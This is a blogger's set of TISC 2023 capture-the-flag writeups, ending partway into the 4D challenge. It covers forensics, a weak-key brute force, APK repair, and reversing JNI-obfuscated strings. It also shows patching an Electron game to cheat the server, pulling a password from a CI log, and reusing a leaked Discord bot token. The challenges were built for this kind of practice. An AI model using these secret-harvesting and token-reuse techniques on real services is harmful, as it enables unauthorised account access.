TISC 2023 Writeups

ctf  •  tisc  •  writeup
Cewau  │  Published: 2023-10-07

[1] Disk Archaeology

Category: foren

Description:

Unknown to the world, the sinister organization PALINDROME has been crafting a catastrophic malware that threatens to plunge civilization into chaos. Your mission, if you choose to accept it, is to infiltrate their secret digital lair, a disk image exfiltrated by our spies. This disk holds the key to unraveling their diabolical scheme and preventing the unleashing of a suspected destructive virus.

You will be provided with the following file:

  • md5(challenge.tar.xz) = 80ff51568943a39de4975648e688d6a3

Notes:

  • challenge.tar.xz decompresses into challenge.img
  • FLAG FORMAT is TISC{<some text you have to find>}

Disclaimer: By no means an optimised solution process, as I am admittedly relatively weak at forensics. This writeup describes the rough process that I actually took to solve the challenge.


We are given a challenge.tar.xz file which we are told that decompresses into a disk image. To start off, we extract the image from the archive using any suitable archiver (simplest being tar -xJvf).

I started off exploring the image by mounting onto my system. The image is relatively “clean”, with many of the common linux root folders being empty. After a quick run-through of most of the files we can easily deduce that the image is a busybox image with alpine linux installed, with most of the files being “stock” system files with no tampering, such as by looking through /lib/apk/db/installed according to the alpine package keeper spec, as well as looking at the modification time for the files.

Unfortunately, after quite some time of digging and searching, I still could not find any suspicious file or information. As such, I attempted a more comprehensive forensic analysis using Autopsy. A part of it was to simply run through the image searching for the TISC string anywhere in the image, using the search bar in the top right corner. Immediately I am greeted with a suspicious .elf file containing the string:

On hindsight, I have realised that I could have simply done this at the start using strings challenge.img | grep TISC which would have a avoided a lot of trouble, but I think I simply forgot about it.

Anyways, we now have a binary that supposedly contains the flag somewhere. We cannot yet simply run the binary from here, as it will throw an error message:

-bash: ./1177-f0000008.elf: cannot execute: required file not found

We can quickly verify this using ldd:

$ ldd 1177-f0000008.elf
      linux-vdso.so.1 (0x00007ffc1e955000)
      libc.musl-x86_64.so.1 => not found

While we can simply attempt to resolve the dependency issue, I instead simply cracked the binary open to see if we can just quickly derive the flag ourselves. The %s also gives us a clue that a part of the flag is algorithmically derived by the binary before using printf to display the full flag.

Fortunately, opening it in IDA Freeware, we are greeted with a relatively pleasant main function:

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v3; // r12

  v3 = randstr;
  srand(0x1EFB171u);
  do
    *v3++ = rand() % 26 + 97;
  while ( v3 != &randstr[32] );
  printf("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}", randstr);
  return 0;
}

According to the decompilation, the remaining “hidden” characters are derived from rand() calls, where the seed is out in the open. I simply ran the code (along with some modifications) using a generic online C compiler:

#include <stdio.h>

int main(int argc, const char **argv, const char **envp)
{
  char *v3;
  char randstr[32];
  v3 = randstr;
  srand(0x1EFB171u);
  do
    *v3++ = rand() % 26 + 97;
  while ( v3 != &randstr[32] );
  *v3 = 0;
  printf("TISC{w4s_th3r3_s0m3th1ng_l3ft_%s}", randstr);
  return 0;
}

Initially, the randstr turned out to be qgwpdfioljzkwvjgcldiqnhwhuzroftg which produced the wrong flag; on hindsight I realised that it may be due to musl libc implementation differences, but during the solve I simply used an older version of GCC (5.3.0 to be exact) and it worked (randstr was ubrekeslydsqdpotohujsgpzqiojwzfq which produced the correct flag). All in all, the final flag is therefore

TISC{w4s_th3r3_s0m3th1ng_l3ft_ubrekeslydsqdpotohujsgpzqiojwzfq}

[2] XIPHEREHPIX’s Reckless Mistake

Category: crypto

Description:

Our sources told us that one of PALINDROME’s lieutenants, XIPHEREHPIX, wrote a special computer program for certain members of PALINDROME. We have somehow managed to get a copy of the source code and the compiled binary. The intention of the program is unclear, but we think encrypted blob inside the program could contain a valuable secret.


Upon running the binary, we are prompted to provide a password:

For this challenge, the source is fortunately provided. Looking through the main function:

int main(int argc, char **argv)
{
    char password[MAX_PASSWORD_SIZE + 1] = { 0 };
    int password_length;

    unsigned char key[32];

    printf("Hello PALINDROME member, please enter password:");

    password_length = input_password(password);
    if (password_length < 40) {
        printf("The password should be at least 40 characters as per PALINDROME's security policy.\n");
        exit(0);
    }

    if (!verify_password(password, password_length)) {
        initialise_key(key, password, password_length);
        show_welcome_msg(key);
    }
        
    else {
        printf("Failure! \n");
        exit(0);
    }
}

we see that the password needs to be 40 bytes long, and it is first ran through a verification function before it is even used for decryption. A quick look at that function

int verify_password(char *password, int password_length) {
    unsigned char mdVal[EVP_MAX_MD_SIZE];
    unsigned int i;

    calculate_sha256(mdVal, password, password_length);

    uint64_t hash[] = { 0x962fe02a147163af,
                        0x8003eb5b7ff75652,
                        0x3220981f9f027e35,
                        0xfb933faadd7944b7};

    return memcmp(mdVal, hash, 32);
}

tells us that it is simply a SHA-256 hash verification, which means that we are basically told to not guess the password especially given that the hash cannot be found in online databases (obviously).

A quick scan of the source also tell us that the decryption involves AES-GCM, which is pretty difficult to exploit. It is used in show_welcome_msg, which is just a simple GCM decryption using the key (which is in turn initialised by password). So if we don’t exploit AES-GCM, and we cannot figure out the password to generate the key, what do we do?

The answer lies in the initialise_key function. If we can exploit the weakest link in an algorithm, we can usually quite easily compromise the final output.

void initialise_key(unsigned char *key, char *password, int password_length) {
    const char *seed = "PALINDROME IS THE BEST!";
    int i, j;
    int counter = 0;

    uint256_t *key256  = (uint256_t *)key;

    key256->a0 = 0;
    key256->a1 = 0;
    key256->a2 = 0;
    key256->a3 = 0;

    uint256_t arr[20] = { 0 };

    calculate_sha256((unsigned char *) arr, (unsigned char *) seed, strlen(seed));

    for (i = 1; i < 20; i++) {
        calculate_sha256((unsigned char *)(arr+i), (unsigned char *) (arr+i-1), 32);
    }

    for (i = 0; i < password_length; i++) {
        int ch = password[i];
        for (j = 0; j < 8; j++) {
            counter = counter % 20;

            if (ch & 0x1) {
                accumulate_xor(key256, arr+counter);
            }

            ch = ch >> 1;
            counter++;
        }
    }
}

This seemingly long function can be broken down into 2 modular parts:

  • SHA-256 hash generation of the 20 elements in arr
  • Derivation of key (key256) using arr and password

Notice that the first part is not dependent on any input, i.e. we can deterministically recreate arr without problem. The second part, while reliant on password, contains a serious vulnerability: We quickly realise that after running through the loop, the resultant key256 is simply an xor combination of the 20 arr elements. This is because while an element can be selected multiple times, the additional copies simply cancel out with themselves through the xor operation. And recall that , meaning that we can quite easily brute force a maximum of about 1 million decryptions to find a suitable key that will produce the correct password.

I originally wanted to create a simple Python script for the solve, but I switched to just patching over the initial C source instead, for 2 reasons:

  • 1 million is still quite a lot of operations, especially for potentially time-intensive operations like cryptographic algorithms
  • It is much more foolproof and implementation-independent by using the original decryption algorithm in its original language

Patches to the source are introduced in 3 areas. Firstly the main function which bruteforces all 1 million combinations that will produce actually significant differences in key:

int main(int argc, char **argv)
{
    int idx;
    unsigned char key[32];
    for (idx = 0; idx < 1<<20; idx ++) {
        initialise_key(key, idx);
        show_welcome_msg(key);
    }
}

the second part of the key generation algorithm to skip the password overhead (on hindsight I could have sped up the operation by extracting out the first part such that it runs just once):

void initialise_key(unsigned char *key, int idx) {
    // ...
    cur = idx;
    for (i = 0; i < 20; i++) {
        if (cur & 0x1) {
            accumulate_xor(key256, arr+i);
        }
        cur = cur >> 1;
    }
}

and finally the plaintext check in show_welcome_msg to filter out the correct flag:

void show_welcome_msg(unsigned char *key) {
    // ...
    // printf("Welcome PALINDROME member. Your secret message is %.*s\n", plaintext_length, plaintext);
    if (!strncmp(plaintext, "TISC", 4)) {
        printf("%s\n", plaintext);
    }
}

Finally, we compile the patched source and run it to derive our flag!

$ gcc patch.c -o patch -lcrypto -lssl; ./patch
TISC{K3ysP4ce_1s_t00_smol_d2g7d97agsd8yhr}

[3] KPA

Category: misc / rev

Description:

We’ve managed to grab an app from a suspicious device just before it got reset! The copying couldn’t finish so some of the last few bytes got corrupted… But not all is lost! We heard that the file shouldn’t have any comments in it! Help us uncover the secrets within this app!


Part I

We are given an .apk file. The first step to do is to of course open it in jadx, but unfortunately the process results in an error and no output is shown. This ties into the challenge description which says that the last few bytes got corrupted, possibly affecting the process.

We know that an APK is basically a glorified ZIP archive, which means we can also attempt to crack it open using a random zip tool. However the tool I am using (PeaZip) also has some issues extracting the files, constantly producing EOF error, which of course also ties into the challenge description.

I thus (reluctantly) decided to figure out the root cause of the issue by analysing the hexdump of the file. Knowing that

some of the last few bytes got corrupted

$ hexdump -C kpa.apk | tail
002b0cd0  67 65 72 5f 76 69 65 77  70 61 67 65 72 2e 76 65  |ger_viewpager.ve|
002b0ce0  72 73 69 6f 6e 50 4b 01  02 14 00 00 00 00 00 08  |rsionPK.........|
002b0cf0  00 21 08 21 02 5a 58 a0  ca 08 00 00 00 06 00 00  |.!.!.ZX.........|
002b0d00  00 35 00 00 00 00 00 00  00 00 00 00 00 00 00 70  |.5.............p|
002b0d10  30 2a 00 4d 45 54 41 2d  49 4e 46 2f 63 6f 6d 2e  |0*.META-INF/com.|
002b0d20  67 6f 6f 67 6c 65 2e 61  6e 64 72 6f 69 64 2e 6d  |google.android.m|
002b0d30  61 74 65 72 69 61 6c 5f  6d 61 74 65 72 69 61 6c  |aterial_material|
002b0d40  2e 76 65 72 73 69 6f 6e  50 4b 05 06 00 00 00 00  |.versionPK......|
002b0d50  d0 02 d0 02 7d bc 00 00  cb 50 2a 00 0a 00        |....}....P*...|
002b0d5e

A quick wikipedia of search of the ZIP format tells us how the bytes are parsed by ZIP tools. We find ourselves at the relevant wikipedia section:

End of central directory record (EOCD) [edit]

After all the central directory entries comes the end of central directory (EOCD) record, which marks the end of the ZIP file:

End of central directory record (EOCD)

OffsetBytesDescription [32]
04End of central directory signature = 0x06054b50
42Number of this disk (or 0xffff for ZIP64)
62Disk where central directory starts (or 0xffff for ZIP64)
82Number of central directory records on this disk (or 0xffff for ZIP64)
102Total number of central directory records (or 0xffff for ZIP64)
124Size of central directory (bytes) (or 0xffffffff for ZIP64)
164Offset of start of central directory, relative to start of archive (or 0xffffffff for ZIP64)
202Comment length (n)
22nComment

A quick scan of the hexdump shows us that the EOCD starts at byte 0x2b0d48. We quickly realise that the problem is with the comment section at offset 20, where the EOCD indicated that the comment is 10 (0x0a) bytes long even though the file simply ended with 0 bytes of comment. Hence we can introduce a quick patch to change the comment length to 0:

with open('kpa.apk', 'rb') as f:
    data = list(f.read())

data[-2] = 0x0

with open('patched.apk', 'wb') as f:
    f.write(bytes(data))

Now we can open the patched APK with no error.


Part II

With a quick scan of com.tisc.kappa.MainActivity, we can already spot some suspicious lines of code:

public void M(String str) {
    char[] charArray = str.toCharArray();
    String valueOf = String.valueOf(charArray);
    for (int i2 = 0; i2 < 1024; i2++) {
        valueOf = N(valueOf, "SHA1");
    }
    if (!valueOf.equals("d8655ddb9b7e6962350cc68a60e02cc3dd910583")) {
        ((TextView) findViewById(d.f3935f)).setVisibility(4);
        Q(d.f3930a, 3000);
        return;
    }
    char[] copyOf = Arrays.copyOf(charArray, charArray.length);
    charArray[0] = (char) ((copyOf[24] * 2) + 1);
    charArray[1] = (char) (((copyOf[23] - 1) / 4) * 3);
    charArray[2] = Character.toLowerCase(copyOf[22]);
    charArray[3] = (char) (copyOf[21] + '&');
    charArray[4] = (char) ((Math.floorDiv((int) copyOf[20], 3) * 5) + 4);
    charArray[5] = (char) (copyOf[19] - 1);
    charArray[6] = (char) (copyOf[18] + '1');
    charArray[7] = (char) (copyOf[17] + 18);
    charArray[8] = (char) ((copyOf[16] + 19) / 3);
    charArray[9] = (char) (copyOf[15] + '%');
    charArray[10] = (char) (copyOf[14] + '2');
    charArray[11] = (char) (((copyOf[13] / 5) + 1) * 3);
    charArray[12] = (char) ((Math.floorDiv((int) copyOf[12], 9) + 5) * 9);
    charArray[13] = (char) (copyOf[11] + 21);
    charArray[14] = (char) ((copyOf[10] / 2) - 6);
    charArray[15] = (char) (copyOf[9] + 2);
    charArray[16] = (char) (copyOf[8] - 24);
    charArray[17] = (char) (copyOf[7] + Math.pow(4.0d, 2.0d));
    charArray[18] = (char) ((copyOf[6] - '\t') / 2);
    charArray[19] = (char) (copyOf[5] + '\b');
    charArray[20] = copyOf[4];
    charArray[21] = (char) (copyOf[3] - '\"');
    charArray[22] = (char) ((copyOf[2] * 2) - 20);
    charArray[23] = (char) ((copyOf[1] / 2) + 8);
    charArray[24] = (char) ((copyOf[0] + 1) / 2);
    P("The secret you want is TISC{" + String.valueOf(charArray) + "}", "CONGRATULATIONS!", "YAY");
}

Annoyingly, the input is again (reference to level 2) checked against a hash, which makes things difficult. If we trace back the function usages / calls we arrive at M -> c -> onResume:

@Override // androidx.fragment.app.e, android.app.Activity
public void onResume() {
    super.onResume();
    O(j1.c.f3928a);
    new j1.b();
    if (j1.b.e()) {
        P("Suspicious device detected!", "CHECK FAILED", "BYE");
    }
    PackageManager packageManager = getPackageManager();
    new j1.a();
    if (j1.a.a(packageManager) == 20) {
        O(j1.c.f3929b);
        setContentView(e.f3937b);
        new sw();
        sw.a();
        ((Button) findViewById(d.f3934e)).setOnClickListener(new c());
        return;
    }
    O(j1.c.f3928a);
    setContentView(e.f3936a);
    if (j1.b.e()) {
        return;
    }
    ((TextView) findViewById(d.f3932c)).setAlpha(1.0f);
    ((TextView) findViewById(d.f3933d)).setAlpha(1.0f);
}

Where it makes a suspicious reference to com.tisc.kappa.sw:

package com.tisc.kappa;

/* loaded from: classes.dex */
public class sw {
    static {
        System.loadLibrary("kappa");
    }

    public static void a() {
        try {
            System.setProperty("KAPPA", css());
        } catch (Exception unused) {
        }
    }

    private static native String css();
}

(Unrelated note: I always knew that Java has a native keyword, but I did not know what it was for until this level :P)

This tells us that Java performs a JNI call to the css function in libkappa.so (which can be found in Resources/lib), which very likely contains information useful for deriving the flag.

Of course, things are not that easy; the IDA analysis shows a mess of C++ functions with no obvious entry point since this is a library. To understand what is going on, I referenced this article and followed the steps to lcoate the css function called.

In particular, we are interested in the string generation (the second half of the function is basically just concatenating 2 substrings and setting C++ shenanigans):

__int64 __fastcall css_201F0(__int64 a1)
{
  // ...
  v26 = 26;
  *(_QWORD *)v27 = 0x2201290711231241LL;
  *(_QWORD *)&v27[5] = 0x54010C170C220129LL;
  v27[13] = 0;
  v2 = 0;
  v3 = 1;
  v4 = 20;
  v5 = 0;
  v6 = 0LL;
  do
  {
    v4 += v6;
    if ( (_DWORD)v6 == 5 * (v5 / 5) )
      v4 = 96;
    v9 = v27;
    if ( !v3 )
      v9 = ptr;
    v9[v6 + 1] ^= v4;
    v3 = (v26 & 1) == 0;
    if ( (v26 & 1) != 0 )
      v7 = *(_QWORD *)&v27[7];
    else
      v7 = (unsigned __int64)v26 >> 1;
    ++v5;
    v8 = v7 <= v6 + 2;
    ++v6;
  }
  while ( !v8 );

  v23 = 24;
  LOBYTE(v10) = 1;
  *(_QWORD *)v24 = 0xA100F091B190957LL;
  *(_DWORD *)&v24[8] = 1929976078;
  v24[12] = 0;
  v11 = 28;
  v12 = 0LL;
  do
  {
    v14 = v24;
    if ( (v10 & 1) == 0 )
      v14 = v25;
    v10 = 3 * (v2 / 3);
    v14[v12] ^= v11;
    v11 += v12;
    if ( (_DWORD)v12 == (_DWORD)v10 )
      v11 = 72;
    ++v12;
    LOBYTE(v10) = (v23 & 1) == 0;
    if ( (v23 & 1) != 0 )
      v13 = *(_QWORD *)&v24[7];
    else
      v13 = (unsigned __int64)v23 >> 1;
    ++v2;
  }
  while ( v13 > v12 );
  // ...
}

We can easily parse this into more readable Python:

x = list(b'\x41\x12\x23\x11\x07\x29\x01\x22\x0c\x17\x0c\x01\x54')
y = list(b'\x57\x09\x19\x1b\x09\x0f\x10\x0a\x0e\x19\x09\x73')

cur = 0x14
for i in range(0xc):
    cur = 0x60 if i % 5 == 0 else cur + i
    x[i+1] ^= cur

cur = 0x1c
for i in range(0xc):
    y[i] ^= cur
    cur = 0x48 if i % 3 == 0 else cur + i

inp = bytes(x) + bytes(y)
print(inp.decode())

And the result is ArBraCaDabra?KAPPACABANA!, something human-readable and intelligible to a pleasant surprise.

What is left is hence to just plug this into the MainActivity function that we discovered at the start:

res = list(bytes(25))
res[0] = (inp[24] * 2) + 1
res[1] = ((inp[23] - 1) // 4) * 3
res[2] = inp[22] + 0x20
res[3] = inp[21] + ord('&')
res[4] = ((inp[20] // 3) * 5) + 4
res[5] = inp[19] - 1
res[6] = inp[18] + ord('1')
res[7] = inp[17] + 18
res[8] = (inp[16] + 19) // 3
res[9] = inp[15] + ord('%')
res[10] = inp[14] + ord('2')
res[11] = ((inp[13] // 5) + 1) * 3
res[12] = ((inp[12] // 9) + 5) * 9
res[13] = inp[11] + 21
res[14] = (inp[10] // 2) - 6
res[15] = inp[9] + 2
res[16] = inp[8] - 24
res[17] = inp[7] + 4**2
res[18] = (inp[6] - ord('\t')) // 2
res[19] = inp[5] + ord('\b')
res[20] = inp[4]
res[21] = inp[3] - ord('\"')
res[22] = (inp[2] * 2) - 20
res[23] = (inp[1] // 2) + 8
res[24] = (inp[0] + 1) // 2
print(bytes(res).decode())

And we should get the flag content: C0ngr@tS!us0lv3dIT,KaPpA!, i.e. the flag is

TISC{C0ngr@tS!us0lv3dIT,KaPpA!}

[4] Really Unfair Battleships Game

Category: misc / rev

Description:

After last year’s hit online RPG game “Slay The Dragon”, the cybercriminal organization PALINDROME has once again released another seemingly impossible game called “Really Unfair Battleships Game” (RUBG). This version of Battleships is played on a 16x16 grid, and you only have one life. Once again, we suspect that the game is being used as a recruitment campaign. So once again, you’re up!

Things are a little different this time. According to the intelligence we’ve gathered, just getting a VICTORY in the game is not enough.

PALINDROME would only be handing out flags to hackers who can get a FLAWLESS VICTORY.

You are tasked to beat the game and provide us with the flag (a string in the format TISC{xxx}) that would be displayed after getting a FLAWLESS VICTORY. Our success is critical to ensure the safety of Singapore’s cyberspace, as it would allow us to send more undercover operatives to infiltrate PALINDROME.

Godspeed!


Part I

I used the Windows executable file to solve this challenge. To first get a feel of the challenge, I launched the executable (with caution) and played around with it. I also tried a bit of Cheat Engine but it was not as straightforward as I expected it to be.

rubg-game-screen

In short, this is a “Battleship” game where the player will need to guess the locations of a number of “ships” (each represented by consecutive tiles on the 16x16 board) in order to attain “Victory”. Note that any wrong guess will immediately result in defeat where a restart is required and the location of the ships change again.

Obviously, we are not expected to magically win just by guessing the locations alone, and hence we will attempt to crack open the exe. Unfortunately my copy of IDA is unable to decompile the exe for some reason, which means that actually reversing the exe itself is pretty infeasible.

Instead, I started off by running file on the exe:

$ file rubg_1.0.0.exe
rubg_1.0.0.exe: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive

Emphasis on the word archive; which means that the exe is probably packaged someway where we could hopefully access the component files. And indeed we can! I opened the exe using an archive tool (PeaZip) and it easily displayed the components of the archive:

  • $PLUGINSDIR/app-64.7z
  • $PLUGINSDIR/nsis7z.dll
  • $PLUGINSDIR/StdUtils.dll
  • $PLUGINSDIR/System.dll

And opening the .7z we are immediately greeted with a very pleasing sight:

7z-contents

It is an electron app! A quick google search tells us how we can easily extract the source code from the app, namely by running (asar installed via npm)

$ asar extract resources/app.asar ../source

Part II

Traversing the directory we arrive at dist/assets/index-4456e191.js, which is obfuscated most likely for optimisation. The file is too massive for detailed reversing, hence we need to find the right parts to focus on.

To do this, we note that the assets folder also contains the resources for the game, including victory-87ae9aad.png and fvictory-5006d78b.png. This is a reference to the challenge description which states that just obtaining a regular victory is not enough the solve the challenge.

Going back to the JavaScript file, we can now gradually figure out how to reach the flawless victory by tracing references and calls:

const bc = "" + new URL("banner-cb836e88.png", import.meta.url).href,
  _c = "" + new URL("defeat-c9be6c95.png", import.meta.url).href,
  yc = "" + new URL("victory-87ae9aad.png", import.meta.url).href,
  wc = "" + new URL("fvictory-5006d78b.png", import.meta.url).href,
  Ec = "" + new URL("bgm-1e1048f6.wav", import.meta.url).href;
const Ku = "" + new URL("bomb-47e36b1b.wav", import.meta.url).href,
  qu = "" + new URL("gameover-c91fde36.wav", import.meta.url).href,
  _s = "" + new URL("victory-3e1ba9c7.wav", import.meta.url).href,
  it = e => (Hi("data-v-66546397"), e = e(), $i(), e),
  // ...
  lf = it(() => W("div", null, [W("img", {
      class: "outcome-banner",
      src: wc,
      alt: ""
  })], -1)),
const // ...
  df = Zs({
      __name: "BattleShips",
      setup(e) {
          const t = Ke([0]),
              n = Ke(BigInt("0")),
              r = Ke(BigInt("0")),
              s = Ke(0),
              o = Ke(""),
              i = Ke(100),
              l = Ke(new Array(256).fill(0)),
              c = Ke([]);

        function f(x) {
              let _ = [];
              for (let y = 0; y < x.a.length; y += 2) _.push((x.a[y] << 8) + x.a[y + 1]);
              return _
          }

          function d(x) {
              return (t.value[Math.floor(x / 16)] >> x % 16 & 1) === 1
          }
          async function m(x) {
              if (d(x)) {
                  if (t.value[Math.floor(x / 16)] ^= 1 << x % 16, l.value[x] = 1, new Audio(Ku).play(), c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`), t.value.every(_ => _ === 0))
                      if (JSON.stringify(c.value) === JSON.stringify([...c.value].sort())) {
                          const _ = {
                              a: [...c.value].sort().join(""),
                              b: s.value
                          };
                          i.value = 101, o.value = (await $u(_)).flag, new Audio(_s).play(), i.value = 4
                      } else i.value = 3, new Audio(_s).play()
              } else i.value = 2, new Audio(qu).play()
          }
          async function E() {
              i.value = 101;
              let x = await Hu();
              t.value = f(x), n.value = BigInt(x.b), r.value = BigInt(x.c), s.value = x.d, i.value = 1, l.value.fill(0), c.value = [], o.value = ""
          }
          // ...
      }
  });
const Du = ee,
  ju = "http://rubg.chals.tisc23.ctf.sg:34567",
  Sr = Du.create({
      baseURL: ju
  });
async function Hu() {
  return (await Sr.get("/generate")).data
}
async function $u(e) {
  return (await Sr.post("/solve", e)).data
}
async function ku() {
  return (await Sr.get("/")).data
}

To summarise, this is how we would achieve a flawless victory:

  1. GET http://rubg.chals.tisc23.ctf.sg:34567/generate
  2. Parse the resulting JSON to setup our board
  3. Derive the corresponding output in m
  4. POST http://rubg.chals.tisc23.ctf.sg:34567/solve

For reference, this is a sample /generate output:

{"a":[4,15,4,0,0,0,0,0,248,0,0,0,0,0,8,2,8,2,8,0,0,0,0,0,0,0,0,0,0,0,0,0],"b":"11159479162363971765","c":"4462129919617373985","d":467671507}

The original m seems to be called every time a tile is clicked, and appends some result based on the tile data to c (if the tile is not a ship the defeat screen is immediately shown). Once all ships have sunk, the program displays either a flawless victory or a regular victory depending on whether the result is c is in sorted order.

This means that we just need to patch over (remove) the defeat branch, click every single tile, and sort the result in c in order to acquire a flawless victory.

          async function m(x) {
              if (d(x)) {
                  if (t.value[Math.floor(x / 16)] ^= 1 << x % 16, l.value[x] = 1, new Audio(Ku).play(), c.value.push(`${n.value.toString(16).padStart(16,"0")[15-x%16]}${r.value.toString(16).padStart(16,"0")[Math.floor(x/16)]}`), t.value.every(_ => _ === 0))
                      if (true) {
                          const _ = {
                              a: [...c.value].sort().join(""),
                              b: s.value
                          };
                          i.value = 101, o.value = (await $u(_)).flag, new Audio(_s).play(), i.value = 4
                      } else i.value = 3, new Audio(_s).play()
              }
              if (x < 255) {
                  m(x+1);
              }
          }

Now we simply have to repackage the patched script into the program. This is extremely simple in electron:

$ asar pack source app.asar

We then replace the resources/app.asar, and also run the exe, within the electron directory. To trigger the patched m function correctly we click the top left tile (index 0) and let the program handle the rest.

flawless-victory

TISC{t4rg3t5_4cqu1r3d_fl4wl355ly_64b35477ac}

[5] PALINDROME’s Invitation

Category: osint / misc

Description:

Valuable intel suggests that PALINDROME has established a secret online chat room for their members to discuss on plans to invade Singapore’s cyber space. One of their junior developers accidentally left a repository public, but he was quick enough to remove all the commit history, only leaving some non-classified files behind. One might be able to just dig out some secrets of PALINDROME and get invited to their secret chat room…who knows?


Part I

We are given a link to kickstart our hunt:

Start here: https://github.com/palindrome-wow/PALINDROME-PORTAL

The GitHub repo seems pretty bare, with nothing much interesting going on, and with only 1 file, .github/workflows/test_portal.yml:

name: Test the PALINDROME portal

on:
    issues:
        types: [closed]

jobs:
  test:
    runs-on: windows-latest
    steps:
      - uses: actions/checkout@v3
      - name: Test the PALINDROME portal
        run: | 
          C:\msys64\usr\bin\wget.exe '''${{ secrets.PORTAL_URL }}/${{ secrets.PORTAL_PASSWORD }}''' -O test -d -v
          cat test

Clearly, we will need to find the portal URL as well as the password somehow in order to infiltrate. And with nothing much else interesting going on, we begin our hunt inside GitHub.

Since this is a GitHub workflow, we can perhaps look around the Actions tab. Ignoring the workflows created by other participants (the repo was unfortunately polluted), we come aross the Portal opening run under the Test the PALINDROME portal workflow, created by palindrome-wow (repo owner) itself.

Inside it, we can easily find crucial information that the workflow logged:

Run C:\msys64\usr\bin\wget.exe '''***/***''' -O test -d -v
Setting --verbose (verbose) to 1
DEBUG output created by Wget 1.21.4 on cygwin.

Reading HSTS entries from /home/runneradmin/.wget-hsts
URI encoding = 'ANSI_X3.4-1968'
logging suppressed, strings may contain password
--2023-09-08 04:01:29--  ***/:dIcH:..uU9gp1%3C@%3C3Q%22DBM5F%3C)64S%3C(01tF(Jj%25ATV@$Gl
Resolving chals.tisc23.ctf.sg (chals.tisc23.ctf.sg)... 18.143.127.62, 18.143.207.255
Caching chals.tisc23.ctf.sg => 18.143.127.62 18.143.207.255
Connecting to chals.tisc23.ctf.sg (chals.tisc23.ctf.sg)|18.143.127.62|:45938... Closed fd 4
failed: Connection timed out.
Connecting to chals.tisc23.ctf.sg (chals.tisc23.ctf.sg)|18.143.207.255|:45938... Closed fd 4
failed: Connection timed out.
Releasing 0x0000000a00027870 (new refcount 1).
Retrying.

...
  • Website: chals.tisc23.ctf.sg
  • Port: 45938
  • Password :dIcH:..uU9gp1%3C@%3C3Q%22DBM5F%3C)64S%3C(01tF(Jj%25ATV@$Gl

website

Note that the password has undergone URL encoding evident from the % codes. A simple conversion using cyberchef returns the actual password :dIcH:..uU9gp1<@<3Q"DBM5F<)64S<(01tF(Jj%ATV@$Gl. Submitting the password to the website, we get a welcome link to a discord server invitation.

Unfortunately, the Discord server is a dead end. We have close to zero permissions in the server, and there are no channels or settings for us to explore around, even after clicking every single available button.


Part II

Backtracking a little, we return to the welcome page, and by inspecting the page we can understand what is actually going on:

<a href=https://discord.gg/[REDACTED]>Welcome!</a>
<!-- [REDACTED] -->
<!-- You have 15 minutes before this token expires! Find a way to use it and be fast! You can always re-enter the password to get a new token, but please be considerate, it is highly limited. -->

(Details redacted for the sake of the writeup)

There is actually a hidden token embedded in the page. Google tells us that this is actually a Discord account token. However attempts to log in solely using the token is extremely difficult if not impossible currently (as far as I know). Digging a little deeper we find that it could also be a bot token.

Unlike regular accounts, we can relatively easily perform a bot “login” using just the token, perhaps for development purposes. For this solve I utilised a third party bot client that simulates a user Discord client by entering a bot token and logging in as a bot.

Note: Unfortunately at the time of this writeup the bot is no longer in the server for some reason, either due to vandalism or due to admin matters after the competition.

Using the bot account, we have slightly more permissions, including the ability to view the server Audit Log. Scrolling towards the bottom we find a different invite link to the server, one which provides access to the #flag channel. Hence by joining the server as a regular user through that link, We gain access to that channel and we will be able to view the flag.

TISC{H4ppY_B1rThD4y_4nY4!}

[6b] 4D

Category: rev

Description:

PALINDROME has hacked into the 4D lottery system and is now able to predict the winning numbers. They plan to use this information to rig the next draw and win millions of dollars.

Our forensics team managed to find a memory dump from one of the compromised systems, containing their binary executable. Determine how it works in order to stop them and protect the integrity of the 4D lottery system.


Part I

This is not like a regular binary. This binary acts as a server where we have to interact with it through a localhost port. Since a website link is provided in the challenge description we can safely assume that we will have to replicate our steps for local solve on the remote server.

Interacting with the server through a browser we see the following log in the terminal:

[Vweb] Running app on http://localhost:12345/
[Vweb] We have 7 workers
> Sent data: {"number": "1295"}
> Sent data: {"number": "5132"}
> Sent data: {"number": "0609"}
> Sent data: {"number": "0690"}
> Sent data: {"number": "1877"}

A quick google search on Vweb quickly tells us that this program likely uses Vlang, which is definitely not very common and might be a bit more troublesome to reverse.

Anyway, cracking the binary open on IDA, we are indeed greeted with a mess of functions. There is an additional layer of complexity from server handling and threading. Hence, we jump straight to where we want to be, by searching for the TISC string in the binary, landing in a function called main__decrypt (clearly our goal). The function is called by main__compare (only), which has the following decompilation:

__int64 __fastcall main__compare(int a1, int a2, int a3, int a4, int a5, int a6, char src, __int64 a8)
{
  // ... (Variable declarations)

  if ( HIDWORD(a8) != 32 )
    return 0xFFFFFFFFLL;
  dest = &v141;
  memmove(&v141, &src, 0x20uLL);
  if ( *(_BYTE *)array_get(31, (unsigned int)&src, v8, v9, v10, v11, v141, v142, v143, v144) != 118 )
    return 0xFFFFFFFFLL;
  dest = &v141;
  memmove(&v141, &src, 0x20uLL);
  if ( *(_BYTE *)array_get(19, (unsigned int)&src, v12, v13, v14, v15, v141, v142, v143, v144) )
    return 0xFFFFFFFFLL;
  dest = &v141;
  memmove(&v141, &src, 0x20uLL);
  // ... (Very similar code omitted)
  if ( *(_BYTE *)array_get(5, (unsigned int)&src, v128, v129, v130, v131, v141, v142, v143, v144) != 96 )
    return 0xFFFFFFFFLL;
  dest = &v141;
  memmove(&v141, &src, 0x20uLL);
  if ( *(_BYTE *)array_get(9, (unsigned int)&src, v132, v133, v134, v135, v141, v142, v143, v144) != 40 )
    return 0xFFFFFFFFLL;
  dest = &v141;
  memmove(&v141, &src, 0x20uLL);
  return (unsigned int)main__decrypt((__int64)&v141, (__int64)&src, v136, v137, v138, v139, v141);
}

One common annoyance throughout the program is the constant use of memmoves, causing the data to jump all over the place and making variable tracking tedious. Fortunately for this function, we can very easily see through all the fluff and realise that all it does is simply:

with open('raw.txt') as f:
    raw = f.read().strip().split('\n')
lines = [raw[i] for i in range(0, len(raw), 4)]

A = [
    'array_get(',
    ',',
    '!= '
]
flag = list(bytes(32))
for l in lines:
    idx = int(l[l.index(A[0])+len(A[0]):l.index(A[1])])
    val = int(l[l.index(A[2])+len(A[2]):-2])
    flag[idx] = val
print(bytes(flag))
